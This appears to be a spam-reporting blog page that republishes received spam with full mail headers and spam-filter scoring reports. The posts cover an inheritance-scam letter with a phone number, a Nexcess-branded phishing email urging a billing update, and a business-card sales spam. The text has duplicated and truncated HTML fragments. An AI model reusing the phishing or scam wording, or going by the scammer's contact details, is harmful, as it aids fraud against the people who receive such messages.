gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
Nexcess phish
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 14:49:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLq2E-000000006qD-2qV1
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 14:48:18 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 14:48:18 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from cloudhost-8448367.us-midwest-1.nxcli.net ([209.126.25.101]:33930)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLlhN-000000001wE-34gd
for sales@nk.ca;
Wed, 19 Nov 2025 10:10:37 -0700
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha256; q=dns; c=nofws;
s=default; d=c2fef515f6.nxcli.io;
b=C8wHE9B3av5dxkO++9DqayZQpyQGokz6U68ynYf9akj0JTPT8VXGnkO9gxWbodfs65fdlMsjytKh33VZif9b16ZSeefY5FLR4NjOqfNFsrylgkg6i+uZ4RBoliTyys2EiORy7caKjK5rBd2IIGOKzdevSzW+/HAWafcPpUS/QVvyr69aRIJOP64383rPtEJRquRKxPtZkUlxp14oTP1AMm0433rI0YNriGvf3Lml5Rx9MNugp6ic79WJqxc8d1Gph+Q/9jAv66jtcQIFzLEQHPrEGgOr2fSsWCZevubJDCH4PqhlLmU1JYHzDiGEQe7p5F8ItkZ27T68DaqeDdFHWQ==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=c2fef515f6.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type:list-unsubscribe; s=default; bh=U4GH8auu4XBgiEk8V0
9JUmQnqFUIbQ5VBMZrHvpmlA4=; b=xf5OOHGC0aI0iGuLB8P0m6/LsoOATS29M5
S21LLmhRPcZneKGqrCC8QW5XdGmUDyI/IC0EOr9UMLtF3dycQ5g5/X+AdTw6Rcms
8IsvsaW68+DLhW42tbS8iH/qYJ+BuBf9NkWLXziCT9T3M0/5oiwA1kDHODOzmfUQ
rBfM8CWZZRmckQUXHyTSAOlvcYgcvW+R8PWSO3TY3kVCdNN86CnfUnW3Gj7BRflF
oWduSN6zm1ChDPxF/jVu1uBPER4ojsVplTcB/KjYtIH4ERRl1jai4Z3ee8/xSyqN
EboEfgRTSkACKc6UC21Q+woxknzDNRHjU7L6S+9d6ijVQH6pISkg==
Received: (qmail 3634798 invoked by uid 10030); 19 Nov 2025 17:09:02 +0000
Date: 19 Nov 2025 17:09:02 +0000
Message-ID: <20251119170902.3634795.qmail@cloudhost-8448367.us-midwest-1.nxcli.net>
To: sales@nk.ca
Subject: Prevent Service Interruption – Update Your Nexcess Account Now
X-PHP-Originating-Script: 10030:done.php
From: "Nexcess"
Reply-To: mtfpr8f2@tzd.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.29
X-Priority: 3
List-Unsubscribe:mtfpr8f2tzd.io>
X-Spam_score: 9.5
X-Spam_score_int: 95
X-Spam_bar: +++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Account Billing Notification Hello,
Content analysis details: (9.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
[209.126.25.101 listed in dnsbl.ahbl.org]
[209.126.25.101 listed in dnsbl.ahbl.org]
[209.126.25.101 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact
safe-sa@returnpath.net
[Excessive Number of Queries |]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[209.126.25.101 listed in sa-trusted.bondedsender.org]
-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact
cert-sa@returnpath.net
[Excessive Number of Queries |]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[209.126.25.101 listed in sa-accredit.habeas.com]
1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,
https://senderscore.org/blacklistlookup/
[209.126.25.101 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[209.126.25.101 listed in bl.score.senderscore.com]
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
1.0 HK_RANDOM_FROM From username looks random
1.0 HK_RANDOM_REPLYTO Reply-To username looks random
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
domains are different
0.0 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area
1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words
0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted
Colors in HTML
0.3 MIME_8BIT_HEADER Message header contains 8-bit character
1.5 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as "accounts
suspended", "account credited", "account
verification"
0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid
0.5 VOWEL_FROM_5 Impronouncable from header (6 consecutive vowels)
1.0 XPRIO Has X-Priority header
0.9 URI_PHISH Phishing using web form
Subject: {SPAM?} Prevent Service Interruption – Update Your Nexcess Account Now
Account Billing Notification
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 14:49:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLq2E-000000006qD-2qV1
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 14:48:18 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 14:48:18 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from cloudhost-8448367.us-midwest-1.nxcli.net ([209.126.25.101]:33930)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLlhN-000000001wE-34gd
for sales@nk.ca;
Wed, 19 Nov 2025 10:10:37 -0700
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha256; q=dns; c=nofws;
s=default; d=c2fef515f6.nxcli.io;
b=C8wHE9B3av5dxkO++9DqayZQpyQGokz6U68ynYf9akj0JTPT8VXGnkO9gxWbodfs65fdlMsjytKh33VZif9b16ZSeefY5FLR4NjOqfNFsrylgkg6i+uZ4RBoliTyys2EiORy7caKjK5rBd2IIGOKzdevSzW+/HAWafcPpUS/QVvyr69aRIJOP64383rPtEJRquRKxPtZkUlxp14oTP1AMm0433rI0YNriGvf3Lml5Rx9MNugp6ic79WJqxc8d1Gph+Q/9jAv66jtcQIFzLEQHPrEGgOr2fSsWCZevubJDCH4PqhlLmU1JYHzDiGEQe7p5F8ItkZ27T68DaqeDdFHWQ==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=c2fef515f6.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type:list-unsubscribe; s=default; bh=U4GH8auu4XBgiEk8V0
9JUmQnqFUIbQ5VBMZrHvpmlA4=; b=xf5OOHGC0aI0iGuLB8P0m6/LsoOATS29M5
S21LLmhRPcZneKGqrCC8QW5XdGmUDyI/IC0EOr9UMLtF3dycQ5g5/X+AdTw6Rcms
8IsvsaW68+DLhW42tbS8iH/qYJ+BuBf9NkWLXziCT9T3M0/5oiwA1kDHODOzmfUQ
rBfM8CWZZRmckQUXHyTSAOlvcYgcvW+R8PWSO3TY3kVCdNN86CnfUnW3Gj7BRflF
oWduSN6zm1ChDPxF/jVu1uBPER4ojsVplTcB/KjYtIH4ERRl1jai4Z3ee8/xSyqN
EboEfgRTSkACKc6UC21Q+woxknzDNRHjU7L6S+9d6ijVQH6pISkg==
Received: (qmail 3634798 invoked by uid 10030); 19 Nov 2025 17:09:02 +0000
Date: 19 Nov 2025 17:09:02 +0000
Message-ID: <20251119170902.3634795.qmail@cloudhost-8448367.us-midwest-1.nxcli.net>
To: sales@nk.ca
Subject: Prevent Service Interruption – Update Your Nexcess Account Now
X-PHP-Originating-Script: 10030:done.php
From: "Nexcess"
Reply-To: mtfpr8f2@tzd.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.29
X-Priority: 3
List-Unsubscribe:
X-Spam_score: 9.5
X-Spam_score_int: 95
X-Spam_bar: +++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Account Billing Notification Hello,
Content analysis details: (9.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
[209.126.25.101 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
[209.126.25.101 listed in dnsbl.ahbl.org]
[209.126.25.101 listed in dnsbl.ahbl.org]
[209.126.25.101 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.126.25.101 listed in dnsbl.ahbl.org]
-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact
safe-sa@returnpath.net
[Excessive Number of Queries |
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[209.126.25.101 listed in sa-trusted.bondedsender.org]
-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact
cert-sa@returnpath.net
[Excessive Number of Queries |
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[209.126.25.101 listed in sa-accredit.habeas.com]
1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,
https://senderscore.org/blacklistlookup/
[209.126.25.101 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[209.126.25.101 listed in bl.score.senderscore.com]
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
1.0 HK_RANDOM_FROM From username looks random
1.0 HK_RANDOM_REPLYTO Reply-To username looks random
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
domains are different
0.0 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area
1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words
0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted
Colors in HTML
0.3 MIME_8BIT_HEADER Message header contains 8-bit character
1.5 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as "accounts
suspended", "account credited", "account
verification"
0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid
0.5 VOWEL_FROM_5 Impronouncable from header (6 consecutive vowels)
1.0 XPRIO Has X-Priority header
0.9 URI_PHISH Phishing using web form
Subject: {SPAM?} Prevent Service Interruption – Update Your Nexcess Account Now
 |
Hello, This is a notification from Nexcess Services regarding Our system indicates that some of your billing details are incomplete You can access your account using the link below: If you need assistance, you may contact our support team at support@Nexcess.net. Thank you, |
Digital business card spam
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 14:48:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLq1j-000000006mI-3kQy
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 14:47:47 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 14:47:47 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail.massageplanner.com ([185.33.101.35]:43175)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLl83-00000000O9o-31rU
for doctor@nk.ca;
Wed, 19 Nov 2025 09:34:07 -0700
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=massageplanner.com;
s=default; t=1763569988;
bh=7fxLcQzMLvEH5keDbHsQhwxmUejeeTzEVEtlJy+bZOg=; h=To:From:Subject;
b=GX/WWLMddL9DEnXXjTBV0qxINSCaTkMhBC+zYzikwGo+4x3rj/47+bFLx7wtU/1nY
D8TT0cy9Gf2OZLrYXglrnbxVRW7TjlT8iUM7htis42eNywHfg1afSHlcc6XjUGoBJE
Xt4Zf6V2RbBiFeiTlhIGoX044KN2Ry/eD0q4CWsWeOIIUoLJTcN6WD60h2s3sNEM4S
6a+hrHfma7trBQ0HjlIMT1OVvSlzYfoPOtyODzMMw3hsH6aNjw8UTYKNYL84XMuQuT
xnoSWIUicnCiA3A9x/r9JhIZ2jF/ZA9rWve86RNLqs5+CTcMYrvNxs5HhH++fn2/wV
Tu7m/MaYyeExQ==
Date: Wed, 19 Nov 2025 16:33:08 +0000
To: doctor@nk.ca
From: Lucas
Reply-To: Lucas
Subject: Smart Business Cards
Message-ID: <11d3eec7-2508-467c-a172-a82dd5ad5c63@massageplanner.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo"
X-Spam_score: 8.5
X-Spam_score_int: 85
X-Spam_bar: ++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi , Paper business cards get lost, outdated, and wasteful.
May I send you our price-list?
Content analysis details: (8.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
[185.33.101.35 listed in dnsbl.ahbl.org]
[185.33.101.35 listed in dnsbl.ahbl.org]
[185.33.101.35 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in
headers
-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
domain
0.8 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.7 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words
2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars
0.0 T_REMOTE_IMAGE Message contains an external image
Subject: {SPAM?} Smart Business Cards
--b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Hi ,
Paper business cards get lost, outdated, and wasteful.
May I send you our price-list?
Thank you,
Lucas Benjamin
Marketing Specialist
THE DIGITAL BUSINESS CARD
--b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40">
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8">
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)">
le=3D'word-wrap:break-word'>
malTable border=3D0 cellspacing=3D0 cellpadding=3D0 width=3D600 style=3D'wi=
dth:450.0pt'>
style=3D'mso-margin-top-alt:auto;margin-bottom:12.0pt'>
-size:11.0pt;font-family:"Lato",sans-serif;color:#1F497D;mso-ligatures:none=
'>Hi ,
Paper business cards get lost, outdated, and wasteful.
May I=
send you our price-list?
Thank you,
ures:none'>
0cm 0cm'>
ing=3D0>
e=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto'>
font-size:10.0pt;font-family:"Lato",sans-serif;color:#1F497D;mso-ligatures:=
none'>Lucas Benjamin
"Lato",sans-serif;color:#1F497D;mso-ligatures:none'>
Marketing Specialis=
t
olor:#d0abf0;mso-ligatures:none'>THE DIGITAL BUSINESS CARD
le=3D'mso-ligatures:none'>
>
![](3D"https://mcusercontent.com/3009973f4ed684f1aa8372ebd/images/582d=<br)
d8db-a72d-b60d-d793-5d2de72d9184.png" width=3D"400" height=3D"266" style=3D=
"border-radius: 15px;" />
--b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 14:48:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLq1j-000000006mI-3kQy
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 14:47:47 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 14:47:47 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail.massageplanner.com ([185.33.101.35]:43175)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLl83-00000000O9o-31rU
for doctor@nk.ca;
Wed, 19 Nov 2025 09:34:07 -0700
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=massageplanner.com;
s=default; t=1763569988;
bh=7fxLcQzMLvEH5keDbHsQhwxmUejeeTzEVEtlJy+bZOg=; h=To:From:Subject;
b=GX/WWLMddL9DEnXXjTBV0qxINSCaTkMhBC+zYzikwGo+4x3rj/47+bFLx7wtU/1nY
D8TT0cy9Gf2OZLrYXglrnbxVRW7TjlT8iUM7htis42eNywHfg1afSHlcc6XjUGoBJE
Xt4Zf6V2RbBiFeiTlhIGoX044KN2Ry/eD0q4CWsWeOIIUoLJTcN6WD60h2s3sNEM4S
6a+hrHfma7trBQ0HjlIMT1OVvSlzYfoPOtyODzMMw3hsH6aNjw8UTYKNYL84XMuQuT
xnoSWIUicnCiA3A9x/r9JhIZ2jF/ZA9rWve86RNLqs5+CTcMYrvNxs5HhH++fn2/wV
Tu7m/MaYyeExQ==
Date: Wed, 19 Nov 2025 16:33:08 +0000
To: doctor@nk.ca
From: Lucas
Reply-To: Lucas
Subject: Smart Business Cards
Message-ID: <11d3eec7-2508-467c-a172-a82dd5ad5c63@massageplanner.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo"
X-Spam_score: 8.5
X-Spam_score_int: 85
X-Spam_bar: ++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi , Paper business cards get lost, outdated, and wasteful.
May I send you our price-list?
Content analysis details: (8.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
[185.33.101.35 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
[185.33.101.35 listed in dnsbl.ahbl.org]
[185.33.101.35 listed in dnsbl.ahbl.org]
[185.33.101.35 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[185.33.101.35 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in
headers
-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
domain
0.8 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.7 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words
2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars
0.0 T_REMOTE_IMAGE Message contains an external image
Subject: {SPAM?} Smart Business Cards
--b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Hi ,
Paper business cards get lost, outdated, and wasteful.
May I send you our price-list?
Thank you,
Lucas Benjamin
Marketing Specialist
THE DIGITAL BUSINESS CARD
--b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40">
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8">
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)">
le=3D'word-wrap:break-word'>
malTable border=3D0 cellspacing=3D0 cellpadding=3D0 width=3D600 style=3D'wi=
dth:450.0pt'>
style=3D'mso-margin-top-alt:auto;margin-bottom:12.0pt'>
-size:11.0pt;font-family:"Lato",sans-serif;color:#1F497D;mso-ligatures:none=
'>Hi ,
Paper business cards get lost, outdated, and wasteful.
May I=
send you our price-list?
Thank you,
ures:none'>
0cm 0cm'>
ing=3D0>
e=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:auto'>
font-size:10.0pt;font-family:"Lato",sans-serif;color:#1F497D;mso-ligatures:=
none'>Lucas Benjamin
"Lato",sans-serif;color:#1F497D;mso-ligatures:none'>
Marketing Specialis=
t
olor:#d0abf0;mso-ligatures:none'>THE DIGITAL BUSINESS CARD
le=3D'mso-ligatures:none'>
>
/o:p>
d8db-a72d-b60d-d793-5d2de72d9184.png" width=3D"400" height=3D"266" style=3D=
"border-radius: 15px;" />
--b1=_wR1sIelXXg1In0dkXzgWU7hpTWo6qIGQuHmXwhZXo--
Virtual Assistant spam from Microsoft Outlook
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 08:00:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLjf1-00000000EMS-23xX
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 07:59:55 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 07:59:55 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
